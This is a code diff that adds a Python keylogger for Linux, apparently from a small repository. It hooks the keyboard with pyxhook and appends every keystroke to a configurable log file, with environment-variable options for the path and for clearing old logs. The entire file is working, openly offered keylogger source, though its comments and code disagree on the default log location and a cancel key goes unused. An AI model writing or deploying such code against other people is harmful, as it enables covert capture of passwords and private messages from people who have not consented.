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keylogger/keylogger_linux.py

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+#! /usr/bin/env python3
+
+# Python code for keylogger
+# to be used in linux
+import os
+import pyxhook
+  
+# This tells the keylogger where the log file will go.
+# You can set the file path as an environment variable ('pylogger_file'),
+# or use the default ~/Desktop/file.log
+log_file = os.environ.get(
+    'pylogger_file',
+    os.path.expanduser('file.log')
+)
+# Allow setting the cancel key from environment args, Default: `
+cancel_key = ord(
+    os.environ.get(
+        'pylogger_cancel',
+        '`'
+    )[0]
+)
+  
+# Allow clearing the log file on start, if pylogger_clean is defined.
+if os.environ.get('pylogger_clean', None) is not None:
+    try:
+        os.remove(log_file)
+    except EnvironmentError:
+       # File does not exist, or no permissions.
+        pass
+  
+#creating key pressing event and saving it into log file
+def OnKeyPress(event):
+    with open(log_file, 'a') as f:
+        print("{event}".format(event=event.Key), file=f, sep="-",end="-")
+        #f.write('{}'.format(event.Key))
+  
+# create a hook manager object
+new_hook = pyxhook.HookManager()
+new_hook.KeyDown = OnKeyPress
+# set the hook
+new_hook.HookKeyboard()
+try:
+    new_hook.start()         # start the hook
+except KeyboardInterrupt:
+    # User cancelled from command line.
+    pass
+except Exception as ex:
+    # Write exceptions to the log file, for analysis later.
+    msg = 'Error while catching events:\n  {}'.format(ex)
+    pyxhook.print_err(msg)
+    with open(log_file, 'a') as f:
+        f.write('\n{}'.format(msg))